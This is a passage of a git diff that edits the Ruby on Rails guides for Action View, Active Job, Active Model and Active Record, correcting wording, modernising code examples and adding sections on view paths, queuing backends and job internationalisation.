the default Rails Gemfile. +It's similar to Builder, but is used to generate JSON, instead of XML. + +If you don't have it, you can add the following to your Gemfile: + +```ruby +gem 'jbuilder' +``` + +A Jbuilder object named `json` is automatically made available to templates with +a `.jbuilder` extension. + +Here is a basic example: + +```ruby +json.name("Alex") +json.email("alex@example.com") +``` + +would produce: + +```json +{ + "name": "Alex", + "email": "alex@example.com" +} +``` + +See the [Jbuilder documentation](https://github.com/rails/jbuilder#jbuilder) for +more examples and information. + #### Template Caching By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode. @@ -182,7 +215,7 @@ One way to use partials is to treat them as the equivalent of subroutines; a way <p>Here are a few of our fine products:</p> <% @products.each do |product| %> - <%= render partial: "product", locals: {product: product} %> + <%= render partial: "product", locals: { product: product } %> <% end %> <%= render "shared/footer" %> @@ -197,7 +230,7 @@ these are the only options you want to pass, you can skip using these options. For example, instead of: ```erb -<%= render partial: "product", locals: {product: @product} %> +<%= render partial: "product", locals: { product: @product } %> ``` You can also do: @@ -214,10 +247,11 @@ By default `ActionView::Partials::PartialRenderer` has its object in a local var <%= render partial: "product" %> ``` -within product we'll get `@product` in the local variable `product`, as if we had written: +within `_product` partial we'll get `@product` in the local variable `product`, +as if we had written: ```erb -<%= render partial: "product", locals: {product: @product} %> +<%= render partial: "product", locals: { product: @product } %> ``` With the `as` option we can specify a different name for the local variable. For example, if we wanted it to be `item` instead of `product` we would do: @@ -226,12 +260,12 @@ With the `as` option we can specify a different name for the local variable. For <%= render partial: "product", as: "item" %> ``` -The `object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (eg. in a different instance variable or in a local variable). +The `object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (e.g. in a different instance variable or in a local variable). For example, instead of: ```erb -<%= render partial: "product", locals: {product: @item} %> +<%= render partial: "product", locals: { product: @item } %> ``` we would do: @@ -304,7 +338,7 @@ In the `show` template, we'll render the `_article` partial wrapped in the `box` **articles/show.html.erb** ```erb -<%= render partial: 'article', layout: 'box', locals: {article: @article} %> +<%= render partial: 'article', layout: 'box', locals: { article: @article } %> ``` The `box` layout simply wraps the `_article` partial in a `div`: @@ -317,26 +351,6 @@ The `box` layout simply wraps the `_article` partial in a `div`: </div> ``` -The `_article` partial wraps the article's `body` in a `div` with the `id` of the article using the `div_for` helper: - -**articles/_article.html.erb** - -```html+erb -<%= div_for(article) do %> - <p><%= article.body %></p> -<% end %> -``` - -this would output the following: - -```html -<div class='box'> - <div id='article_1'> - <p>Partial Layouts are cool!</p> - </div> -</div> -``` - Note that the partial layout has access to the local `article` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix. You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_article` partial, we could do this instead: @@ -344,10 +358,10 @@ You can also render a block of code within a partial layout instead of calling ` **articles/show.html.erb** ```html+erb -<% render(layout: 'box', locals: {article: @article}) do %> - <%= div_for(article) do %> +<% render(layout: 'box', locals: { article: @article }) do %> + <div> <p><%= article.body %></p> - <% end %> + </div> <% end %> ``` @@ -356,50 +370,51 @@ Supposing we use the same `_box` partial from above, this would produce the same View Paths ---------- -TODO... +When rendering a response, the controller needs to resolve where the different +views are located. By default it only looks inside the `app/views` directory. -Overview of helpers provided by Action View -------------------------------------------- +We can add other locations and give them a certain precedence when resolving +paths using the `prepend_view_path` and `append_view_path` methods. -WIP: Not all the helpers are listed here. For a full list see the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html) +### Prepend view path -The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the [API Documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html), which covers all of the helpers in more detail, but this should serve as a good starting point. +This can be helpful for example, when we want to put views inside a different +directory for subdomains. -### AssetTagHelper +We can do this by using: -This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. +```ruby +prepend_view_path "app/views/#{request.subdomain}" +``` -By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`: +Then Action View will look first in this directory when resolving views. + +### Append view path + +Similarly, we can append paths: ```ruby -config.action_controller.asset_host = "assets.example.com" -image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" /> +append_view_path "app/views/direct" ``` -#### register_javascript_expansion +This will add `app/views/direct` to the end of the lookup paths. -Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in `vendor/assets/javascripts`. +Overview of helpers provided by Action View +------------------------------------------- -```ruby -ActionView::Helpers::AssetTagHelper.register_javascript_expansion monkey: ["head", "body", "tail"] +WIP: Not all the helpers are listed here. For a full list see the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html) -javascript_include_tag :monkey # => - <script src="/assets/head.js"></script> - <script src="/assets/body.js"></script> - <script src="/assets/tail.js"></script> -``` +The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the [API Documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html), which covers all of the helpers in more detail, but this should serve as a good starting point. -#### register_stylesheet_expansion +### AssetTagHelper -Register one or more stylesheet files to be included when symbol is passed to `stylesheet_link_tag`. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in `vendor/assets/stylesheets`. +This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. -```ruby -ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion monkey: ["head", "body", "tail"] +By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`: -stylesheet_link_tag :monkey # => - <link href="/assets/head.css" media="screen" rel="stylesheet" /> - <link href="/assets/body.css" media="screen" rel="stylesheet" /> - <link href="/assets/tail.css" media="screen" rel="stylesheet" /> +```ruby +config.action_controller.asset_host = "assets.example.com" +image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" /> ``` #### auto_discovery_link_tag @@ -407,8 +422,8 @@ stylesheet_link_tag :monkey # => Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed. ```ruby -auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # => - <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" /> +auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) # => + <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" /> ``` #### image_path @@ -427,7 +442,7 @@ image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png #### image_url -Computes the url to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host. +Computes the URL to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host. ```ruby image_url("edit.png") # => http://www.example.com/assets/edit.png @@ -478,7 +493,7 @@ javascript_path "common" # => /assets/common.js #### javascript_url -Computes the url to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host. +Computes the URL to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host. ```ruby javascript_url "common" # => http://www.example.com/assets/common.js @@ -492,7 +507,7 @@ Returns a stylesheet link tag for the sources specified as arguments. If you don stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" /> ``` -You can also include all styles in the stylesheet directory using :all as the source: +You can also include all styles in the stylesheet directory using `:all` as the source: ```ruby stylesheet_link_tag :all @@ -507,7 +522,7 @@ stylesheet_link_tag :all, cache: true #### stylesheet_path -Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path. +Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, `.css` will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path. ```ruby stylesheet_path "application" # => /assets/application.css @@ -515,7 +530,7 @@ stylesheet_path "application" # => /assets/application.css #### stylesheet_url -Computes the url to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host. +Computes the URL to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host. ```ruby stylesheet_url "application" # => http://www.example.com/assets/application.css @@ -551,7 +566,7 @@ end ```ruby atom_feed do |feed| feed.title("Articles Index") - feed.updated((@articles.first.created_at)) + feed.updated(@articles.first.created_at) @articles.each do |article| feed.entry(article) do |entry| @@ -584,7 +599,7 @@ This would add something like "Process data files (0.34523)" to the log, which y #### cache -A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `ActionController::Caching::Fragments` for more information. +A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `AbstractController::Caching::Fragments` for more information. ```erb <% cache do %> @@ -725,7 +740,7 @@ Returns a select tag with options for each of the minutes 0 through 59 with the ```ruby # Generates a select field for minutes that defaults to the minutes for the time provided. -select_minute(Time.now + 6.hours) +select_minute(Time.now + 10.minutes) ``` #### select_month @@ -743,7 +758,7 @@ Returns a select tag with options for each of the seconds 0 through 59 with the ```ruby # Generates a select field for seconds that defaults to the seconds for the time provided -select_second(Time.now + 16.minutes) +select_second(Time.now + 16.seconds) ``` #### select_time @@ -789,7 +804,7 @@ time_select("order", "submitted") Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object. ```ruby -my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]} +my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] } debug(my_hash) ``` @@ -808,13 +823,13 @@ third: Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. -There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation. +There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the `ActionView::Helpers::FormTagHelper` documentation. -The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: +The core method of this helper, `form_for`, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: ```html+erb # Note: a @person variable will have been created in the controller (e.g. @person = Person.new) -<%= form_for @person, url: {action: "create"} do |f| %> +<%= form_for @person, url: { action: "create" } do |f| %> <%= f.text_field :first_name %> <%= f.text_field :last_name %> <%= submit_tag 'Create' %> @@ -834,7 +849,7 @@ The HTML generated for this would be: The params object created when this form is submitted would look like: ```ruby -{"action" => "create", "controller" => "people", "person" => {"first_name" => "William", "last_name" => "Smith"}} +{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } } ``` The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller. @@ -852,10 +867,10 @@ check_box("article", "validated") #### fields_for -Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form: +Creates a scope around a specific model object like `form_for`, but doesn't create the form tags themselves. This makes `fields_for` suitable for specifying additional model objects in the same form: ```html+erb -<%= form_for @person, url: {action: "update"} do |person_form| %> +<%= form_for @person, url: { action: "update" } do |person_form| %> First name: <%= person_form.text_field :first_name %> Last name : <%= person_form.text_field :last_name %> @@ -975,11 +990,11 @@ Returns `select` and `option` tags for the collection of existing return values Example object structure for use with this method: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord belongs_to :author end -class Author < ActiveRecord::Base +class Author < ApplicationRecord has_many :articles def name_with_initial "#{first_name.first}. #{last_name}" @@ -990,7 +1005,7 @@ end Sample usage (selecting the associated Author for an instance of Article, `@article`): ```ruby -collection_select(:article, :author_id, Author.all, :id, :name_with_initial, {prompt: true}) +collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true }) ``` If `@article.author_id` is 1, this would return: @@ -1011,11 +1026,11 @@ Returns `radio_button` tags for the collection of existing return values of `met Example object structure for use with this method: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord belongs_to :author end -class Author < ActiveRecord::Base +class Author < ApplicationRecord has_many :articles def name_with_initial "#{first_name.first}. #{last_name}" @@ -1047,11 +1062,11 @@ Returns `check_box` tags for the collection of existing return values of `method Example object structure for use with this method: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord has_and_belongs_to_many :authors end -class Author < ActiveRecord::Base +class Author < ApplicationRecord has_and_belongs_to_many :articles def name_with_initial "#{first_name.first}. #{last_name}" @@ -1077,14 +1092,6 @@ If `@article.author_ids` is [1], this would return: <input name="article[author_ids][]" type="hidden" value="" /> ``` -#### country_options_for_select - -Returns a string of option tags for pretty much any country in the world. - -#### country_select - -Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. - #### option_groups_from_collection_for_select Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments. @@ -1092,12 +1099,12 @@ Returns a string of `option` tags, like `options_from_collection_for_select`, bu Example object structure for use with this method: ```ruby -class Continent < ActiveRecord::Base +class Continent < ApplicationRecord has_many :countries # attribs: id, name end -class Country < ActiveRecord::Base +class Country < ApplicationRecord belongs_to :continent # attribs: id, name, continent_id end @@ -1146,7 +1153,7 @@ Returns a string of option tags that have been compiled by iterating over the `c # options_from_collection_for_select(collection, value_method, text_method, selected = nil) ``` -For example, imagine a loop iterating over each person in @project.people to generate an input tag: +For example, imagine a loop iterating over each person in `@project.people` to generate an input tag: ```ruby options_from_collection_for_select(@project.people, "id", "name") @@ -1162,7 +1169,7 @@ Create a select tag and a series of contained option tags for the provided objec Example: ```ruby -select("article", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true}) +select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true }) ``` If `@article.person_id` is 1, this would become: @@ -1171,8 +1178,8 @@ If `@article.person_id` is 1, this would become: <select name="article[person_id]"> <option value=""></option> <option value="1" selected="selected">David</option> - <option value="2">Sam</option> - <option value="3">Tobias</option> + <option value="2">Eileen</option> + <option value="3">Rafael</option> </select> ``` @@ -1225,7 +1232,7 @@ Creates a field set for grouping HTML form elements. Creates a file upload field. ```html+erb -<%= form_tag({action:"post"}, multipart: true) do %> +<%= form_tag({ action: "post" }, multipart: true) do %> <label for="file">File to Upload</label> <%= file_field_tag "file" %> <%= submit_tag %> <% end %> @@ -1240,7 +1247,7 @@ file_field_tag 'attachment' #### form_tag -Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`. +Starts a form tag that points the action to a URL configured with `url_for_options` just like `ActionController::Base#url_for`. ```html+erb <%= form_tag '/articles' do %> @@ -1361,22 +1368,6 @@ date_field_tag "dob" Provides functionality for working with JavaScript in your views. -#### button_to_function - -Returns a button that'll trigger a JavaScript function using the onclick handler. Examples: - -```ruby -button_to_function "Greeting", "alert('Hello world!')" -button_to_function "Delete", "if (confirm('Really?')) do_delete()" -button_to_function "Details" do |page| - page[:details].visual_effect :toggle_slide -end -``` - -#### define_javascript_functions - -Includes the Action Pack JavaScript libraries inside a single `script` tag. - #### escape_javascript Escape carrier returns and single and double quotes for JavaScript segments. @@ -1397,15 +1388,6 @@ alert('All is good') </script> ``` -#### link_to_function - -Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact. - -```ruby -link_to_function "Greeting", "alert('Hello world!')" -# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a> -``` - ### NumberHelper Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size. @@ -1437,7 +1419,7 @@ number_to_percentage(100, precision: 0) # => 100% #### number_to_phone -Formats a number into a US phone number. +Formats a number into a phone number (US by default). ```ruby number_to_phone(1235551234) # => 123-555-1234 @@ -1472,7 +1454,7 @@ This sanitize helper will HTML encode all tags and strip all attributes that are sanitize @article.body ``` -If either the :attributes or :tags options are passed, only the mentioned tags and attributes are allowed and nothing else. +If either the `:attributes` or `:tags` options are passed, only the mentioned attributes and tags are allowed and nothing else. ```ruby sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) @@ -1494,12 +1476,12 @@ Sanitizes a block of CSS code. Strips all link tags from text leaving just the link text. ```ruby -strip_links("<a href="http://rubyonrails.org">Ruby on Rails</a>") +strip_links('<a href="http://rubyonrails.org">Ruby on Rails</a>') # => Ruby on Rails ``` ```ruby -strip_links("emails to <a href="mailto:me@email.com">me@email.com</a>.") +strip_links('emails to <a href="mailto:me@email.com">me@email.com</a>.') # => emails to me@email.com. ``` @@ -1542,7 +1524,7 @@ Localized Views Action View has the ability to render different templates depending on the current locale. -For example, suppose you have a `ArticlesController` with a show action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/articles/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. +For example, suppose you have an `ArticlesController` with a show action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/articles/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. diff --git a/guides/source/active_job_basics.md b/guides/source/active_job_basics.md index 953c29719d..d6de92ace6 100644 --- a/guides/source/active_job_basics.md +++ b/guides/source/active_job_basics.md @@ -4,14 +4,14 @@ Active Job Basics ================= This guide provides you with all you need to get started in creating, -enqueueing and executing background jobs. +enqueuing and executing background jobs. After reading this guide, you will know: * How to create jobs. * How to enqueue jobs. * How to run jobs in the background. -* How to send emails from your application async. +* How to send emails from your application asynchronously. -------------------------------------------------------------------------------- @@ -20,7 +20,7 @@ Introduction ------------ Active Job is a framework for declaring jobs and making them run on a variety -of queueing backends. These jobs can be everything from regularly scheduled +of queuing backends. These jobs can be everything from regularly scheduled clean-ups, to billing charges, to mailings. Anything that can be chopped up into small units of work and run in parallel, really. @@ -28,11 +28,14 @@ into small units of work and run in parallel, really. The Purpose of Active Job ----------------------------- The main point is to ensure that all Rails apps will have a job infrastructure -in place, even if it's in the form of an "immediate runner". We can then have -framework features and other gems build on top of that, without having to -worry about API differences between various job runners such as Delayed Job -and Resque. Picking your queuing backend becomes more of an operational concern, -then. And you'll be able to switch between them without having to rewrite your jobs. +in place. We can then have framework features and other gems build on top of that, +without having to worry about API differences between various job runners such as +Delayed Job and Resque. Picking your queuing backend becomes more of an operational +concern, then. And you'll be able to switch between them without having to rewrite +your jobs. + +NOTE: Rails by default comes with an "immediate runner" queuing implementation. +That means that each job that has been enqueued will run immediately. Creating a Job @@ -67,49 +70,61 @@ Here's what a job looks like: class GuestsCleanupJob < ActiveJob::Base queue_as :default - def perform(*args) + def perform(*guests) # Do something later end end ``` +Note that you can define `perform` with as many arguments as you want. + ### Enqueue the Job Enqueue a job like so: ```ruby -# Enqueue a job to be performed as soon the queueing system is +# Enqueue a job to be performed as soon as the queuing system is # free. -MyJob.perform_later record +GuestsCleanupJob.perform_later guest ``` ```ruby # Enqueue a job to be performed tomorrow at noon. -MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record) +GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest) ``` ```ruby # Enqueue a job to be performed 1 week from now. -MyJob.set(wait: 1.week).perform_later(record) +GuestsCleanupJob.set(wait: 1.week).perform_later(guest) ``` -That's it! +```ruby +# `perform_now` and `perform_later` will call `perform` under the hood so +# you can pass as many arguments as defined in the latter. +GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter') +``` +That's it! Job Execution ------------- -If no adapter is set, the job is immediately executed. +For enqueuing and executing jobs in production you need to set up a queuing backend, +that is to say you need to decide for a 3rd-party queuing library that Rails should use. +Rails itself only provides an in-process queuing system, which only keeps the jobs in RAM. +If the process crashes or the machine is reset, then all outstanding jobs are lost with the +default async back-end. This may be fine for smaller apps or non-critical jobs, but most +production apps will need to pick a persistent backend. ### Backends -Active Job has built-in adapters for multiple queueing backends (Sidekiq, +Active Job has built-in adapters for multiple queuing backends (Sidekiq, Resque, Delayed Job and others). To get an up-to-date list of the adapters see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). ### Setting the Backend -You can easily set your queueing backend: +You can easily set your queuing backend: ```ruby # config/application.rb @@ -123,6 +138,31 @@ module YourApp end ``` +You can also configure your backend on a per job basis. + +```ruby +class GuestsCleanupJob < ActiveJob::Base + self.queue_adapter = :resque + #.... +end + +# Now your job will use `resque` as it's backend queue adapter overriding what +# was configured in `config.active_job.queue_adapter`. +``` + +### Starting the Backend + +Since jobs run in parallel to your Rails application, most queuing libraries +require that you start a library-specific queuing service (in addition to +starting your Rails app) for the job processing to work. Refer to library +documentation for instructions on starting your queue backend. + +Here is a noncomprehensive list of documentation: + +- [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job) +- [Resque](https://github.com/resque/resque/wiki/ActiveJob) +- [Sucker Punch](https://github.com/brandonhilkert/sucker_punch#active-job) +- [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job) Queues ------ @@ -148,7 +188,7 @@ module YourApp end end -# app/jobs/guests_cleanup.rb +# app/jobs/guests_cleanup_job.rb class GuestsCleanupJob < ActiveJob::Base queue_as :low_priority #.... @@ -171,7 +211,7 @@ module YourApp end end -# app/jobs/guests_cleanup.rb +# app/jobs/guests_cleanup_job.rb class GuestsCleanupJob < ActiveJob::Base queue_as :low_priority #.... @@ -212,7 +252,7 @@ end ProcessVideoJob.perform_later(Video.last) ``` -NOTE: Make sure your queueing backend "listens" on your queue name. For some +NOTE: Make sure your queuing backend "listens" on your queue name. For some backends you need to specify the queues to listen to. @@ -270,6 +310,19 @@ UserMailer.welcome(@user).deliver_later ``` +Internationalization +-------------------- + +Each job uses the `I18n.locale` set when the job was created. Useful if you send +emails asynchronously: + +```ruby +I18n.locale = :eo + +UserMailer.welcome(@user).deliver_later # Email will be localized to Esperanto. +``` + + GlobalID -------- @@ -319,3 +372,17 @@ class GuestsCleanupJob < ActiveJob::Base end end ``` + +### Deserialization + +GlobalID allows serializing full Active Record objects passed to `#perform`. + +If a passed record is deleted after the job is enqueued but before the `#perform` +method is called Active Job will raise an `ActiveJob::DeserializationError` +exception. + +Job Testing +-------------- + +You can find detailed instructions on how to test your jobs in the +[testing guide](testing.html#testing-jobs). diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md index 4b2bfaee2f..e834aeadb1 100644 --- a/guides/source/active_model_basics.md +++ b/guides/source/active_model_basics.md @@ -8,12 +8,12 @@ classes. Active Model allows for Action Pack helpers to interact with plain Ruby objects. Active Model also helps build custom ORMs for use outside of the Rails framework. -After reading this guide, you will be able to add to plain Ruby objects: +After reading this guide, you will know: -* The ability to behave like an Active Record model. -* Callbacks and validations like Active Record. -* Serializers. -* Integration with the Rails internationalization (i18n) framework. +* How an Active Record model behaves. +* How Callbacks and validations work. +* How serializers work. +* How Active Model integrates with the Rails internationalization (i18n) framework. -------------------------------------------------------------------------------- @@ -156,7 +156,7 @@ person.changed? # => false person.first_name = "First Name" person.first_name # => "First Name" -# returns if any attribute has changed. +# returns true if any of the attributes have unsaved changes, false otherwise. person.changed? # => true # returns a list of attributes that have changed before saving. @@ -197,7 +197,7 @@ person.last_name_change # => nil ### Validations -`ActiveModel::Validations` module adds the ability to validate class objects +The `ActiveModel::Validations` module adds the ability to validate class objects like in Active Record. ```ruby @@ -292,7 +292,7 @@ objects. ### Serialization -`ActiveModel::Serialization` provides a basic serialization for your object. +`ActiveModel::Serialization` provides basic serialization for your object. You need to declare an attributes hash which contains the attributes you want to serialize. Attributes must be strings, not symbols. @@ -319,9 +319,8 @@ person.serializable_hash # => {"name"=>"Bob"} #### ActiveModel::Serializers -Rails provides two serializers `ActiveModel::Serializers::JSON` and -`ActiveModel::Serializers::Xml`. Both of these modules automatically include -the `ActiveModel::Serialization`. +Rails provides an `ActiveModel::Serializers::JSON` serializer. +This module automatically include the `ActiveModel::Serialization`. ##### ActiveModel::Serializers::JSON @@ -340,7 +339,7 @@ class Person end ``` -With the `as_json` you have a hash representing the model. +With the `as_json` method you have a hash representing the model. ```ruby person = Person.new @@ -379,62 +378,6 @@ person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob"> person.name # => "Bob" ``` -##### ActiveModel::Serializers::Xml - -To use the `ActiveModel::Serializers::Xml` you only need to change from -`ActiveModel::Serialization` to `ActiveModel::Serializers::Xml`. - -```ruby -class Person - include ActiveModel::Serializers::Xml - - attr_accessor :name - - def attributes - {'name' => nil} - end -end -``` - -With the `to_xml` you have an XML representing the model. - -```ruby -person = Person.new -person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<person>\n <name nil=\"true\"/>\n</person>\n" -person.name = "Bob" -person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<person>\n <name>Bob</name>\n</person>\n" -``` - -From an XML string you define the attributes of the model. -You need to have the `attributes=` method defined on your class: - -```ruby -class Person - include ActiveModel::Serializers::Xml - - attr_accessor :name - - def attributes=(hash) - hash.each do |key, value| - send("#{key}=", value) - end - end - - def attributes - {'name' => nil} - end -end -``` - -Now it is possible to create an instance of person and set the attributes using `from_xml`. - -```ruby -xml = { name: 'Bob' }.to_xml -person = Person.new -person.from_xml(xml) # => #<Person:0x00000100c773f0 @name="Bob"> -person.name # => "Bob" -``` - ### Translation `ActiveModel::Translation` provides integration between your object and the Rails @@ -465,7 +408,7 @@ Person.human_attribute_name('name') # => "Nome" ### Lint Tests -`ActiveModel::Lint::Tests` allow you to test whether an object is compliant with +`ActiveModel::Lint::Tests` allows you to test whether an object is compliant with the Active Model API. * app/models/person.rb @@ -485,14 +428,14 @@ the Active Model API. class PersonTest < ActiveSupport::TestCase include ActiveModel::Lint::Tests - def setup + setup do @model = Person.new end end ``` ```bash -$ rake test +$ rails test Run options: --seed 14596 @@ -518,14 +461,14 @@ an accessor named `password` with certain validations on it. #### Requirements -`ActiveModel::SecurePassword` depends on the [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'), +`ActiveModel::SecurePassword` depends on [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'), so include this gem in your Gemfile to use `ActiveModel::SecurePassword` correctly. In order to make this work, the model must have an accessor named `password_digest`. The `has_secure_password` will add the following validations on the `password` accessor: 1. Password should be present. 2. Password should be equal to its confirmation. -3. This maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends) +3. The maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends) #### Examples @@ -546,7 +489,7 @@ person.password = 'aditya' person.password_confirmation = 'nomatch' person.valid? # => false -# When the length of password, exceeds 72. +# When the length of password exceeds 72. person.password = person.password_confirmation = 'a' * 100 person.valid? # => false diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md index 6551ba0389..d9e9466a33 100644 --- a/guides/source/active_record_basics.md +++ b/guides/source/active_record_basics.md @@ -74,8 +74,8 @@ By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class `Book`, you should have a database table called **books**. The Rails -pluralization mechanisms are very powerful, being capable to pluralize (and -singularize) both regular and irregular words. When using class names composed +pluralization mechanisms are very powerful, being capable of pluralizing (and +singularizing) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: @@ -132,17 +132,17 @@ Creating Active Record Models ----------------------------- It is very easy to create Active Record models. All you have to do is to -subclass the `ActiveRecord::Base` class and you're good to go: +subclass the `ApplicationRecord` class and you're good to go: ```ruby -class Product < ActiveRecord::Base +class Product < ApplicationRecord end ``` This will create a `Product` model, mapped to a `products` table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose -that the `products` table was created using an SQL sentence like: +that the `products` table was created using an SQL statement like: ```sql CREATE TABLE products ( @@ -168,11 +168,12 @@ What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions. -You can use the `ActiveRecord::Base.table_name=` method to specify the table -name that should be used: +`ApplicationRecord` inherits from `ActiveRecord::Base`, which defines a +number of helpful methods. You can use the `ActiveRecord::Base.table_name=` +method to specify the table name that should be used: ```ruby -class Product < ActiveRecord::Base +class Product < ApplicationRecord self.table_name = "my_products" end ``` @@ -193,7 +194,7 @@ It's also possible to override the column that should be used as the table's primary key using the `ActiveRecord::Base.primary_key=` method: ```ruby -class Product < ActiveRecord::Base +class Product < ApplicationRecord self.primary_key = "product_id" end ``` @@ -260,7 +261,7 @@ david = User.find_by(name: 'David') ```ruby # find all users named David who are Code Artists and sort by created_at in reverse chronological order -users = User.where(name: 'David', occupation: 'Code Artist').order('created_at DESC') +users = User.where(name: 'David', occupation: 'Code 